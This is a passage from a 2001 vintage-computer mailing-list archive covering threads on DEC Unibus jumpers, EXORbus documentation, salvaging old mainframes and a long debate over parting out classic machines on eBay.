plus (with the UNIX OS) Let me know if you're interested in making a trade. I'm always on the lookout for Apple II clones, like the Golden II, Orange, Pinapple, etc., and of course, a Luxor ABC-80. Ernest From ernestls at home.com Tue Jun 12 00:17:37 2001 From: ernestls at home.com (Ernest) Date: Sun Feb 27 19:04:24 2005 Subject: Wanted: Luxor ABC80 In-Reply-To: <337.562T550T1264003optimus@canit.se> Message-ID: Thanks but it's the "80" that I'm most interested in. For some reason, it's caught my attention. E. -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Iggy Drougge Sent: Monday, June 11, 2001 12:00 AM To: Ernest Subject: Re: Wanted: Luxor ABC80 Ernest skrev: >I'm looking for a Luxor ABC80 computer if anyone has one to sell or trade >for. I've got an ABC-800, but lacking a monitor, so I haven't been able to test it yet. =) -- En ligne avec Thor 2.6a. Alle meine Noten bringen mich nicht aus den N?ten, und ich schreibe noten ?berhaupt nur aus N?ten. --- Ludwig van Beethoven From oliv555 at arrl.net Tue Jun 12 00:49:19 2001 From: oliv555 at arrl.net (no) Date: Sun Feb 27 19:04:24 2005 Subject: M9202 Unibus connector inverted References: Message-ID: <3B25AD5F.D414D8F2@arrl.net> Tony Duell wrote: > > > > > I came across some M9202 "Unibus connector inverted", and I'm wondering > > if anyone knows what they are used for? > > IIRC, the M9202 is a Unibus jumper (used to connect the Unibus Out of one > backplane to Unibus In of the next) with 2' of cable folded up between > the PCBs. It thus adds a slight delay to the signals. > > The are supposed to be some DEC rules about when to use M9202s and when > to use M920s (the plain Unibus jumper). My experience suggests that for > most systems you can use either jumper and it will work. > True. And it gets more sensitive as you add peripherals and increase the total unibus (aggregate) length. Our 11/45 system, 2cpus sharing memory, has a 5' cable btween the KB11 backplane and the first SPC. I found out the hard way one night when that cable went bad that the system would flat not run with either a M920 or M9202. It liked the spare 6' cable we had on hand, though. When I mentioned this to our field rep (Link, not DEC) I was told that our system was "tuned" to a certain length due to its complexity and that all unibus cables be replaced only with those of equal length. > One thing you can do with the M9202 is drill out the rivets hold it > togther. This will leave you with full-length PCBs with handles on them > linked by 2' of cable. This is ideal for bypassing a backplane (pull out > the jumpers connecting it to the ones on either side and put this > 'cable' between Unibus out of the previous backplane and Unibus in of the > next). Which can be useful when you're tracing grant problems. > Good troubleshooting aid. That 5' BC11 works great for this, and long enough to extend to the expander rack. > -tony .... nick o From wonko at tmok.com Tue Jun 12 01:29:15 2001 From: wonko at tmok.com (Brian Hechinger) Date: Sun Feb 27 19:04:24 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: ; from Mike Ford on Mon, Jun 11, 2001 at 09:30:59PM -0700 References: ; <20010611013627.QUBP20074.tomts8-srv.bellnexxia.net@duron> <20010611214359.X93146@tmok.com> Message-ID: <20010612022915.W93146@tmok.com> On Mon, Jun 11, 2001 at 09:30:59PM -0700, Mike Ford wrote: > > Its the rage again, all the really hot new monitors have BNC (as well as > normal SVGA HD15). i've noticed in the past that the higher end monitors came with BNC and HD15, but those would generally be classified as workstation monitors, not PC tubes. (more because of price than anything else, not in the pricerange of your average home buyer) is BNC really back? on PC monitors? why? are there PC video cards with BNC? if so, what is this world coming to? :) -brian From pete at dunnington.u-net.com Tue Jun 12 02:06:52 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:24 2005 Subject: OT - Scheduling/Macro Software In-Reply-To: Marvin "OT - Scheduling/Macro Software" (Jun 11, 15:03) References: <20010611213046.25852.qmail@web4805.mail.yahoo.com> <3B25401B.9DB5AE77@rain.org> Message-ID: <10106120806.ZM16390@indy.dunnington.u-net.com> On Jun 11, 15:03, Marvin wrote: > > I would like to be able to schedule a web browser to go to a site, capture > the page, > and save it to a file automatically once an hour. Off hand, I don't of > anything that will do this; any ideas? Thanks. Use 'wget' in a 'cron' or 'at' script. -- Pete Peter Turnbull Network Manager University of York From edick at idcomm.com Tue Jun 12 03:43:44 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:24 2005 Subject: Ebay horror ... References: <7A9BACCEF0171D4FB77019F5104CDD37151117@jeffserver.tegjeff.com> Message-ID: <003801c0f31b$c9f950c0$9cc762d8@idcomm.com> The only one I know who even talks about mainframes is Will Jennings, and I've never seen his accomodations. As far as I know, none of his big iron is running, for want of the appropriate power feed. Apparently his dad got him a boxcar in which to store his hardware. However, back in the early '80's I was given an IBM 690 system that got as far as being set up in my barn and connected to power. I knew nothing about the thing, but the friend who encouraged me to let them load it on my dumper and haul it off, hooked it to power there, and it seemed to humm, consume power, and keep the barn (it was January-February) such that the critters hardly left their stalls, it being quite balmy inside the rather large two-story 45-foot-square barn. I was chosen as a recipient because I had the requisite power feed, thanks to the metalworking business the previous owner of the "farm" (what realtors call a "ranchette" because it's too dry to raise crops and too small (10 acres, in this case) to raise livestock) had operated. Soon I also had a 360 on the dumper, which could be driven into the barn, as well, but, having seen what the 690 did, it was soon bound for conversion to spare parts and scrap metal. The 360 was never even unloaded, so I've no idea what or how complete it was. I needed to haul some feed for my critters, so it had to go. The 690 was, apparently working, didn't show any sign of producing anything of use, so it soon went to someone who wanted it worse than I, which still was very little. It was, even then, a classic. Dick ----- Original Message ----- From: "Douglas Quebbeman" To: Sent: Monday, June 11, 2001 1:09 PM Subject: RE: Ebay horror ... > > My own inclination is to view computers that don't run as projects or as > > parts-supply, and computers without reusable parts as dumpster-bound. I'd > never > > want a machine that requires power I can't supply. I'd never want a machine > > that I can't see how to fix, either. Once it's relegated to the parts bins, > it > > gets dismantled and put in the parts stock, right down to the screws and > > washers, and the sheet metal goes to the scrapper or to the dumpster. > > At first, I was dittoing along with this, until I got to the > PSU-I-cant-repair part. I understand the thinking, of course, > but I can think of quite a few machines that would fit that > bill that I'd take as long as I could find an *indoors* > location for them (having noted the rust remark below). > > Eventually, someone might have the desire to acquire it and > the means to power it, and I'd be tickled to have enabled > that to happen. > > Do you *really* know people who keep mainframes rusting > in the yard? CDC Cybers, by any chance? > > ;-) > > -dq > > From edick at idcomm.com Tue Jun 12 03:54:56 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:24 2005 Subject: Ebay horror ... References: Message-ID: <004001c0f31d$5a8f0f20$9cc762d8@idcomm.com> It is, perhaps, an honorable sentiment, what you suggest, Tony, but not practical if you expect your hobby to help support itself. What you mustn't overlook, however, is that removing the parts that might be of interest will, in most cases, not reduce the scrapper's interest in the box, since it's the metal that interests him, and removing the cables, boards, and dissimilar metals reduces his profit, since he's got to pay for the labor. That's a way to get spare parts. There's probably a way to work with rather than against the scrap salvage guy. He doesn't get much for the boards, drives, etc, since there is too much labor in separating the types of metals, the purity of which determines the salvage value, it's easier for him to let you have the boards, cables, drives, etc, so he can sell or scrap the sheet metal. That may not seem very appealing, but it seems a potential compromise. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Monday, June 11, 2001 12:49 PM Subject: Re: Ebay horror ... > > > > >I'm so mad. I'm watching on Ebay now as a greedy seller takes > > >apart a PCjr, and parts out the individual pieces for obscene > > >amounts of money compared the the cost of an intact system > > > > Funny I was just thinking about posting a message on this dilemma. The > > sorry fact is that the market for parts far exceeds the market for systems > > on almost EVERY cheap heavy thing that exists. Either we bite the bullet > > I think what it comes down to is 'are you in this for the money, or > because you enjoy repairing/using old computers'. > > In my case I couldn't care less about the financial value of any of my > machines. If they all became worthless overnight I wouldn't care. I > collect these machines because I enjoy working on them, enjoy using them, > enjoy learning about them. Money would not provide that enjoyment -- you > can't program a bank statement, you can't connect a logic analyser to a > dollar bill. :-) > > Because of this, I'd not sell many of my machines no matter how much I > was offered. And if I ever got to the point where, for whatever reason I > couldn't carry on enjoying them, I would sell them _intact_ to a fellow > enthusiast. I can assure you that if a scrap dealer offered me \pounds > 100 for a machine and a collector offered me \pounds 20, the collector > would get it. No question about it. > > -tony > > From edick at idcomm.com Tue Jun 12 03:59:29 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:24 2005 Subject: Ebay horror ... References: Message-ID: <004601c0f31d$fd2c1660$9cc762d8@idcomm.com> see below, plz. Dick ----- Original Message ----- From: "Mike Ford" To: Sent: Monday, June 11, 2001 1:23 PM Subject: Re: Ebay horror ... > >>There are some folks who think dead computers are of value for something > >>other > >>than parts, but I don't know very many. Give the sensible ones a break, will > >>you? > > > > I'm not saying that the PCjr falls into this category, but there are any > >number of systems that even if they're not working should be kept intact and > >not junked or canibalized for whatever useful parts you can get. This > > My first choice is to sell the system, but if that isn't practical then > other options have to be considered. I think the objection that many of us > have is the notion of selling off a working computer as non working > trophies or display items. This is NOTHING like parting out a nonworking > system as replacement parts to get other systems working. > > The other thing I really don't like is the practice of selling off the one > valuable part and dumping the rest, or routinely dumping in advance all the > lower profit items like cables and documentation. > I have a couple of large cardboard boxes into which I toss cables as I disassemble old computers, though I haven't done that much of late. I even save the screws and washers, but the sheet metal is either scrap steel (low quality, since it's painted, therefore priced by the ton) or scrap aluminum (priced by the pound). > > From edick at idcomm.com Tue Jun 12 04:07:30 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:24 2005 Subject: Ebay horror ... References: Message-ID: <005201c0f31f$1c69b7c0$9cc762d8@idcomm.com> I won't say you're alone there, but I've more often than not seen people, particularly people paid to do this sort of thing, isolate faults to the board level by swapping boards, then sending the board off for depot repair. I guess if you don't mind that the machine is down until the board is fixed then it doesn't matter, but if that's the case, the machine isn't that important. Having spares of everything is a strategy for keeping a system running. It may not be the most sophisticated, but it is a strategy that ensures minimal downtime. When I was working in the aerospace industry, it was not unusual for a system to have two spares of everything on site, just to ensure that the system could be kept running as much of the time as possible. In many cases this was very difficult to do, since various system revisions had to match the board spares, and the replacements had to be exact. If you didn't want to wait for replacement parts, though, the only option was to buy them in advance. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Monday, June 11, 2001 2:38 PM Subject: Re: Ebay horror ... > > Unfortunately, it's often necessary to sacrifice one potentially repairable > > machine in order to repair another. I have no patience for those who poo-poo > > that notion. Where do they think those replacement boards, no longer > > manufactured since sometime a couple of decades back, come from? > > Yes, but most of the time you don't need spare boards (or any other > complete modules). The only time I would need a complete PCB is if one > was missing, or had caught fire, or something. I've never 'repaired' a > computer (or anything else for that matter) by swapping boards, and I > don't intend to start now. > > Most of the time, the parts I need to repair the sort of machines I am > interested in (PDP8s, PDP11s, PERQs, the older microcomputers) are things > like transistors, TTL chips, common microprocessors and support devices, > and so on. Parts that I can still buy new with no problems. And I'd > rather use those than strip another machine to get them. > > There are exceptions, sure, but they're not that common. > > [...] > > > Would you, Tony, store an old IBM box that required 440-Volt 3-phase power, and > > was missing a 48" disk drive without which it had little hope of working, and > > without any notion of where to get software? > > If I didn't already have little enough floor space, sure. 3 phase mains > is not impossible to get (it's not cheap, but it is _possible_), and there > is probably some way to get round the missing peripherals. > > Heck, my first minicomputer was roughly in that state. OK, it only needed > normal single-phase 240V mains, but there were no peripherals, no > documentation on the peripheral interfaces, and no software. I did have > the instruction set manual, and the schematics of the CPU, but that was > it. Together with a couple of friends we got it working. > > That was 15 years ago. I've learnt a lot since then. I would certainly > consider any machine that could _possibly_ be got working (i.e. it's > complete enough to have at least the entire processor, or some chance of > getting the processor parts). > > -tony > > From edick at idcomm.com Tue Jun 12 04:12:58 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:25 2005 Subject: Ebay horror ... References: Message-ID: <005801c0f31f$dfcc0740$9cc762d8@idcomm.com> I'm a guy who'd more likely sell a PDP-8 (if I had one, which I don't) to get a classic Z80 system running. I have precious little time to invest in the classic stuff, though. Space is a problem too. There does seem to be some prejudice in favor of the guys who keep old PDP-somethings over those who keep Commodores, though. Now, I don't fit into either camp, being a past S-100 enthusiast, but it's hard to decide which system to sacrifice/sell/part-out in order to support another one, if you collect multiple types. There have been some that I intended to use, yet really never did, so, they ultimately went as trade or gift to someone else who might use them. The stuff is, after all, wortheless if it doesn't find a home doing some sort of useful work. Dick ----- Original Message ----- From: "Brian Chase" To: Sent: Monday, June 11, 2001 2:34 PM Subject: Re: Ebay horror ... > On Mon, 11 Jun 2001, Tony Duell wrote: > > > I think what it comes down to is 'are you in this for the money, or > > because you enjoy repairing/using old computers'. > > I'm in for the fun of using old computers... but as some others have said > here before. I'm not against the idea of people selling some equipment > fund their hobbys. If someone sells some classic Z-80 system to fund > their PDP-8 habit, I think that's okay. > > I don't see it as quite a black and white situation where selling things > automatically makes someone an evil opportunist. There's a whole spectrum > of grays in there. > > -brian. > > From edick at idcomm.com Tue Jun 12 04:19:45 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:25 2005 Subject: Ebay horror ... References: Message-ID: <006001c0f320$d2634cc0$9cc762d8@idcomm.com> Yeah, that's a tough one ... you part with something you've hoarded for years on the off-chance you'd get around to using it, but, you didn't. Now you've got to decide who gets the stuff ... the guy who'll give you a few pennies on the dollar, or the guy with the checkbook in his hand, but who won't do what you would have done. It's like finding a home for a puppy. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Monday, June 11, 2001 3:04 PM Subject: Re: Ebay horror ... > > > > On Mon, 11 Jun 2001, Tony Duell wrote: > > > > > I think what it comes down to is 'are you in this for the money, or > > > because you enjoy repairing/using old computers'. > > > > I'm in for the fun of using old computers... but as some others have said > > here before. I'm not against the idea of people selling some equipment > > fund their hobbys. If someone sells some classic Z-80 system to fund > > their PDP-8 habit, I think that's okay. > > No, that's not what I meant at all... > > It's obviously OK (and, indeed, good) to sell machines to fellow > collectors. And I have no problem with somebody making a profit when so > doing (especially as they've probably put some time in to be able to > accurately describe what they are selling, to check that it's working, > and so on). These people, though generally sell complete. working > machines, or at least complete, working subsections (say a DEC disk drive > and its controller card for a PDP11). Parts that will be used again. > > Nor, FWIW, do I have any problem with a collector offering a service (say > to realign some kind of disk drive) and charging for doing it. After all > that person has had to buy the tools and test gear to be able to offer > the service, and it's going to take him some time. > > However, some people (not the regulars on this list AFAIK) seem to have > no interest in classic computers other than how much they can get for > them on E-bay. If a machine is worth more as parts, then they will sell > it as parts (and parts that aren't worth shipping will be scrapped, so > there's little chance of the machine ever working again). These are the > people who do the (IMHO) distasteful trick of cutting up core planes, > framing sections and selling them to hang on the wall (whereas I'd want a > complete core plane to stick in whatever machine I have that uses core > memory). > > It is the last group, and the last group only, that I am commenting on. > > > I don't see it as quite a black and white situation where selling things > > automatically makes someone an evil opportunist. There's a whole spectrum > > of grays in there. > > Agreed.... > > -tony > > From edick at idcomm.com Tue Jun 12 04:23:54 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:25 2005 Subject: Ebay horror ... References: <992290274.3b2525e2165fd@email.ou.edu> <02f801c0f2bf$e4d7d800$614099a1@rcs.ra.rockwell.com> Message-ID: <006a01c0f321$66d9e440$9cc762d8@idcomm.com> I've got to chime in here. If you can get some dough for something you might otherwise be inclined to pitch, or at least allow to gather dust in a corner of the basement, it doesn't matter whether you use the proceeds from the sale to buy another dust-collector or to pay the electric bill. After all, the electric bill supports your hobby too. Dick ----- Original Message ----- From: "Jonathan Engdahl" To: Sent: Monday, June 11, 2001 3:45 PM Subject: Re: Ebay horror ... > ----- Original Message ----- > From: "Jeffrey S. Sharp" > > > Right. I would, however, tack on a note saying that it's ok > to try > > and make money off of classic computing items IF that money is > used > > to recover costs incurred in your collecting activities. > > I could not disagree more. Whether someone makes a profit off > selling a classic computer item, and what he does with the > money, is entirely his own business. > > If it were not for the guys that are making a living by selling > classic computers and/or parts on eBay, I would not have much of > a collection at all, and most of my PDP-11's would have been > scrap metal by now*. I have found eBay to be a great place to > find things that otherwise would be inaccessible to me, at very > good prices. > > It's time to let up on eBay and the people that use it. Overall, > they're doing a good job. We ought not to be judging and > criticizing people that we don't know. Let's talk about > computers instead. > > -- > Jonathan Engdahl Rockwell Automation > Principal Research Engineer 24800 Tungsten Road > Advanced Technology Euclid, OH 44117 USA > Euclid Labs http://users.safeaccess.com/engdahl > > *footnote: if you ask my wife, they became scrap metal anyhow, > except it's in the family room. > > From dhquebbeman at theestopinalgroup.com Tue Jun 12 06:32:36 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:25 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer an d parts in the residential area) Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151124@jeffserver.tegjeff.com> > ObClassicCmp: What sort of computer systems have the US Geological Survery > used historical to monitor earthquake activity? They're probably still using an IBM 605... From dhquebbeman at theestopinalgroup.com Tue Jun 12 06:53:30 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:25 2005 Subject: Sol-20 and Helios pleas Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151127@jeffserver.tegjeff.com> > And, Doug, it was me who contacted Stan a year after he dumped his Sols > (and now he is S-O-L). About two years ago I did send out a mailing to > about 150 names and addresses I culled from the Proteus News and tried > to find via web-based phone directories. I eventually made contact via > email with 3 or 4 who still had their machines .... And promptly lost > their addresses after a major system crash and prior to a backup (been > there, done that). :( Say, the PTDOS discussion just jogged my memory... wasn't someone in PROTEUS going to modify it so that it would support soft-sectored disk systems like the NorthStar and such? Do you know if that ever happened? If not, I'll have to put that on my to-do list. But there are a few years' worth of projects ahead of it (CDC 6000 series simulator, PL/1 compiler, Multics simulator, Multics source code rescue, etc). But if my sanity and health survives, it'll get done! Regards, -doug q From rigdonj at intellistar.net Tue Jun 12 07:08:45 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:25 2005 Subject: Jay West? In-Reply-To: <5.0.0.25.2.20010610174246.0307aa20@209.185.79.193> Message-ID: <5.1.0.14.1.20010612080743.00a0eec0@mailhost.intellistar.net> Let me know if you hear from Jay. I've e-mailed him several times int he last couple of months but haven't had a reply. Joe At 05:43 PM 6/10/01 -0700, you wrote: >Hi, sorry to waste bandwidth here. Jay did you get my email re the HP >Extender? I've not heard anything .... > > >--Chuck From dhquebbeman at theestopinalgroup.com Tue Jun 12 07:33:41 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:25 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715112B@jeffserver.tegjeff.com> > On Mon, 11 Jun 2001, Douglas Quebbeman wrote: > > > > Hmm, what are the odds... I just came across a small magnetic > > > tape from CDC, from 1975, containing CDC 8090 Assembler, whatever > > > that is... If the label is to be trusted, it is a 7 track tape, > > > contains one file, and the density is 556? > > > > We had an 8090 in Bloomington, front-ending a 3600; later its was > > replaced by a 3400. The 3400/3600 system was in turn replaced by the > > 6600 in 1970. > > Do you know what happened to the VAXen used by IU Bloomington in the early > 1990s? I was at Rose-Hulman at the time, but many of my friends were > going to IU. I remember there being a couple of VAX/VMS systems like > ROSE, JADE, and AQUA . Yeah, those sound like some of the names I've seen, although that was after my time. But Greg Travis has an interest in these machines, his web site is: http://www.prime-mover.org/ClassicComputing/index.html But while he mentions the VAXen, he doesn't have pictures or state he's got one or more of them, so you might wan to ask him for further info. Regards, -doug q From dhquebbeman at theestopinalgroup.com Tue Jun 12 07:39:47 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:25 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715112C@jeffserver.tegjeff.com> > > I'd say it's worth preserving. May I implore you to seek > > out one of the people who frequent this list who offer > > conversion services? Let's get it on disk, somebody may > > find one of these systems someday. Or might want to write > > an emulator... > > > > Sure, sounds good in theory. Who has a 7-track tape drive in usable > condition at the moment, and wants to try reading the tape? I didn't want to volunteer him, since he does this both as a courtesy for fellow hobbyists and as a business for customers. He says he's got a several month backlog of handling his customer's needs, so the hobby-courtesy work is even more way behind. Likely, you'd have to just send him the tape and wait a year or so before he'll be able to get around to it. But I'm sure you've seen Tim Shoppa posting here before, and he's one of the ones I know about. The guy I sent my 9-track to is having someone else do it, and he didn't specify, so it's possible he's sent it to Tim. Meanwhile, as a possible hedge against this coming up in the future, I'll be keeping an eye out for a 7-track drive, one that's of sufficiently-late manufacture that it can be made workable again. May have to design a custom interface, but that's just work... Regards, -dq From rigdonj at intellistar.net Tue Jun 12 07:50:22 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:25 2005 Subject: Ebay horror ... In-Reply-To: <992290274.3b2525e2165fd@email.ou.edu> References: Message-ID: <5.1.0.14.1.20010612083657.00a16480@mailhost.intellistar.net> At 03:11 PM 6/11/01 -0500, Jeff wrote: >Quoting Tony Duell : > > I think what it comes down to is 'are you in this for the money, > > or because you enjoy repairing/using old computers'. > >Right. I would, however, tack on a note saying that it's ok to try >and make money off of classic computing items IF that money is used >to recover costs incurred in your collecting activities. I often find interesting old computers that I have no interest in owning but that I would like to see preserved. I often buy them with the intent of trading to other list members or selling them on E-bay. Most of the one that I sell or trade I have little of no hope of getting them running again due to lack of software or other critical parts. The AlphaMicro 100 that I sold on E-bay is a good example, I searched for two years for software, schematics, manuals or anything that I could find but I came up empty handed so I finally sold it. Oddly enough, after I listed it someone saw the ad and E-mailed me and said that he had the software and docs for it. I passed his message to to the guy that bought the system. The buyer used to have an AM 100 and was planning on restoring this one. What little money I make from selling computers or parts doesn't even come close to paying for the time, gas and expenses of finding this stuff. But I'd rather buy something and sell it to someone that will restore it or use it to restore another computer than see it get shredded for the metal content. Joe From Hans.Franke at mch20.sbs.de Tue Jun 12 08:11:22 2001 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 19:04:25 2005 Subject: new source for ZILOG parts In-Reply-To: <200106090257.TAA04532@stockholm.ptloma.edu> References: <001101c0f08c$d0ec2b00$8a0101ac@ibm23xhr06> from John Allain at "Jun 8, 1 10:35:11 pm" Message-ID: <3B26311A.14872.24E74BD0@localhost> > > > they are better than not getting your machine fixed. > > Let's hear it! Everyone Spay or Neuter your old classic > > or before you know you whole house will be overrun with > > classiccmp's. > You mean, they mate?? My stars, man, what disfigured progeny would result > if my Commodore 128 took an insatiable fancy to the PCjr? I won't tolerate > such rabid immorality betwixt cohabiting systems! > (Besides, how could you tell which one is which gender? :-) Just check the plugs ... and in case, they are fast in useing a gender bender for this purpose ... Gruss H. SCNR -- VCF Europa 3.0 am 27./28. April 2002 in Muenchen http://www.vcfe.org/ From rigdonj at intellistar.net Tue Jun 12 08:14:04 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:25 2005 Subject: Motorola EXORbus docs needed In-Reply-To: Message-ID: <5.1.0.14.1.20010612085435.00a0fa60@mailhost.intellistar.net> HI Rich, I'm glad to see someone else is interested in the Motorola stuff. Steve Robertson has a **bunch** of docs for the EXOR-bus stuff. He and one other list member (I can't think of his name right now) are the one two that I know of that are seriously interested in the EXOR-bus stuff. I'm interested in it but I have too many projects already so I've been passing all the stuff that I find onto them. I've got a pile of EXOR-bus cards here right now that I need to go through. Steve and I were supposed to get together at the UCF hamfest last weekend and I was going to give it all to him but both of us had other things that we had to do so we never made it. I do have a GOOD book about the EXOR_bus and the other Motorola stuff of that vintage. It's The Complete Motorola Microcomputer Data Library printed by Motorola in 1978. It's about 2 1/2" thick and has very good descriptions of all of the EXOR_bus cards, related developement systems, software, etc. I don't want to get rid of it but I'll loan it to you. (I already have two piles of books that I need to send you!) I also have several other old Motorola books that may be on interest but I don't think they specificly talk about the EXOR-bus. At 04:44 PM 6/11/01 -0400, you wrote: >Hello all! > >I recently acquired several Motorola (and other vendor) EXORbus cards. >Included are a couple of Micro Module 1A CPU cards, some I/O and memory >cards, and two boards that almost look like video cards. I think I have a couple of Micro A CPU cards with 6809s on them. For some reason, a lot of those have been turning up down here. I have what looks like video card that was made by Matrox (sp?). Matrox builds **very** high end PC video cards. >I need docs for the cards, but I'll post the list in a separate message, as >I'm away from the cards right now. > >My initial questions are: > >- Does anyone have general documentation on the EXORbus itself? I'd like >mechanical and electrical specs, pinouts, power supply requirements, timing >diagrams, etc. Yes, I have all that. > Electronic format would be awesome, but other than that, I'd >pay copying and postage for hardcopies. > >- Does anyone know where to get the 86-pin card-edge connectors so I could >wire up a backplane to plug these beasties into? Hmm. I found several EXOR-bus card racks but gave them all to Steve. He would probably be willing to part with a couple. Joe From ip500 at home.com Tue Jun 12 08:25:59 2001 From: ip500 at home.com (Craig Smith) Date: Sun Feb 27 19:04:25 2005 Subject: Ebay horror ... References: <5.1.0.14.1.20010612083657.00a16480@mailhost.intellistar.net> Message-ID: <3B261867.13841B70@home.com> FINALLY! A voice of reason in this seemingly endless debate. Well said Joe. If you add up the time spend digging stuff out of musty basements and barns, gas and wear & tear on vehicles driving hundreds of miles and time cleaning, testing, etc .... what little return you receive [even at eBay {gasp!} prices] is well deserved. AND ...all this time and effort does get the machine to a person who WILL preserve it. After all, they just spent good money for it. That said, I just "saved" a couple more TI 980B's from the clutches of the recyclers. Had to buy a huge pallet of stuff to get them and compete with several guys solely interested in the metal content. One actually seems to still be working!! Probably to appear on eBay in the near future. Craig [ip500 on eBay and actually proud of it!!] joe wrote: > > At 03:11 PM 6/11/01 -0500, Jeff wrote: > >Quoting Tony Duell : > > > I think what it comes down to is 'are you in this for the money, > > > or because you enjoy repairing/using old computers'. > > > >Right. I would, however, tack on a note saying that it's ok to try > >and make money off of classic computing items IF that money is used > >to recover costs incurred in your collecting activities. > > I often find interesting old computers that I have no interest in > owning but that I would like to see preserved. I often buy them with the > intent of trading to other list members or selling them on E-bay. Most of > the one that I sell or trade I have little of no hope of getting them > running again due to lack of software or other critical parts. The > AlphaMicro 100 that I sold on E-bay is a good example, I searched for two > years for software, schematics, manuals or anything that I could find but I > came up empty handed so I finally sold it. Oddly enough, after I listed it > someone saw the ad and E-mailed me and said that he had the software and > docs for it. I passed his message to to the guy that bought the > system. The buyer used to have an AM 100 and was planning on restoring > this one. > > What little money I make from selling computers or parts doesn't even > come close to paying for the time, gas and expenses of finding this stuff. > But I'd rather buy something and sell it to someone that will restore it or > use it to restore another computer than see it get shredded for the metal > content. > > Joe From hans at Huebner.ORG Tue Jun 12 08:36:28 2001 From: hans at Huebner.ORG (=?ISO-8859-1?Q?Hans_H=FCbner?=) Date: Sun Feb 27 19:04:25 2005 Subject: Searching for /etc/mkdev from HP-UX 9.0 (HP9000/300) Message-ID: Hi there, does anyone reading this have a running installation of HP-UX 9.0 on a HP9000/300-series system and would be so kind to send me /etc/mkdev from that system. I've just inherited such a system and am trying to back up the installation first, but /etc/mkdev and the device nodes for the SCSI MO are missing. Thanks in advance, Hans -- finger hans@huebner.org for details From stefan at softhome.net Tue Jun 12 08:33:15 2001 From: stefan at softhome.net (Stefan) Date: Sun Feb 27 19:04:25 2005 Subject: Any Dutch/Belgium Collectors ? Message-ID: <5.0.2.1.0.20010612153216.00ab3cd0@145.218.23.191> Are there any Dutch or Belgium collectors here that I don't know yet ? Just curious :) Think I know most of them, but hey, you never know ;) cya, Stefan. From jfoust at threedee.com Tue Jun 12 08:55:56 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:25 2005 Subject: Ebay horror ... In-Reply-To: <3B261867.13841B70@home.com> References: <5.1.0.14.1.20010612083657.00a16480@mailhost.intellistar.net> Message-ID: <4.3.2.7.0.20010612085136.01dc9980@pc> At 09:25 AM 6/12/01 -0400, Craig Smith wrote: > FINALLY! A voice of reason in this seemingly endless debate. Well said >Joe. If you add up the time spend digging stuff out of musty basements >and barns, gas and wear & tear on vehicles driving hundreds of miles and >time cleaning, testing, etc .... what little return you receive >[even at eBay {gasp!} prices] is well deserved. Amen. If anyone is at all serious about making money to pay for their time, I can't think of many substances you can resell on eBay that would make it worthwhile. On the other hand, it might be a good way to dispose of stuff that comes along while you're doing something else. For example, I think a garbage collector might be able to pick up enough resellable crap because they're being paid to do something else while skimming the good stuff. Compare it to rummage sales. Around here in the Midwest, there are folks who think it's worthwhile to sit around all Saturday in their driveway while people browse their collection of old salt and pepper shakers, available at fifty cents each pair. - John From jfoust at threedee.com Tue Jun 12 09:01:38 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:25 2005 Subject: Infocipher receivers In-Reply-To: <20010609112111.19005@mail.earthlink.net> References: <4.3.2.7.0.20010608202106.01cf86d0@pc> <4.3.2.7.0.20010608202106.01cf86d0@pc> Message-ID: <4.3.2.7.0.20010612085954.01e2ddf0@pc> At 07:21 AM 6/9/01 -0400, Tom Owad wrote: >>I seem to remember that the entire Rogers cable network >>broadcast the data, and I could get the data here in SE Wisconsin >>even though the modems were not advertised locally. Sometime >>within the last three years, the data feed stopped. I think >>I have notes about it somewhere. > >Is there anything at all these might still be used for? I don't think so. Some other details come floating out of my brain... They were broadcast on channel 66 or 67 cable. And the company later mutated into a name called Genius. - John From dhquebbeman at theestopinalgroup.com Tue Jun 12 09:09:29 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715112F@jeffserver.tegjeff.com> > >On June 11, Tom Uban wrote: > > Call Purdue salvage and ask. When I saw it, it wasn't in the area that > > would normally be seen, but it may be available. Call (765) 494-4600 > > and ask for the number for Purdue salvage... > > Ok, I'm Southern Indiana, I'll see if I can't get some initial > information about this machine. I could fit a Cyber 172 in > garage, but nothing this big, so I want to help get this > into the hands of a proper preservation organization. Ok, It's already been mostly gutted. There are a few cabinets left, they've been working since it was decommissioned to recycle it for the gold, etc. They may be willing to accept a bid for the remnants equal to the salvage value. They'll allow anyone who's 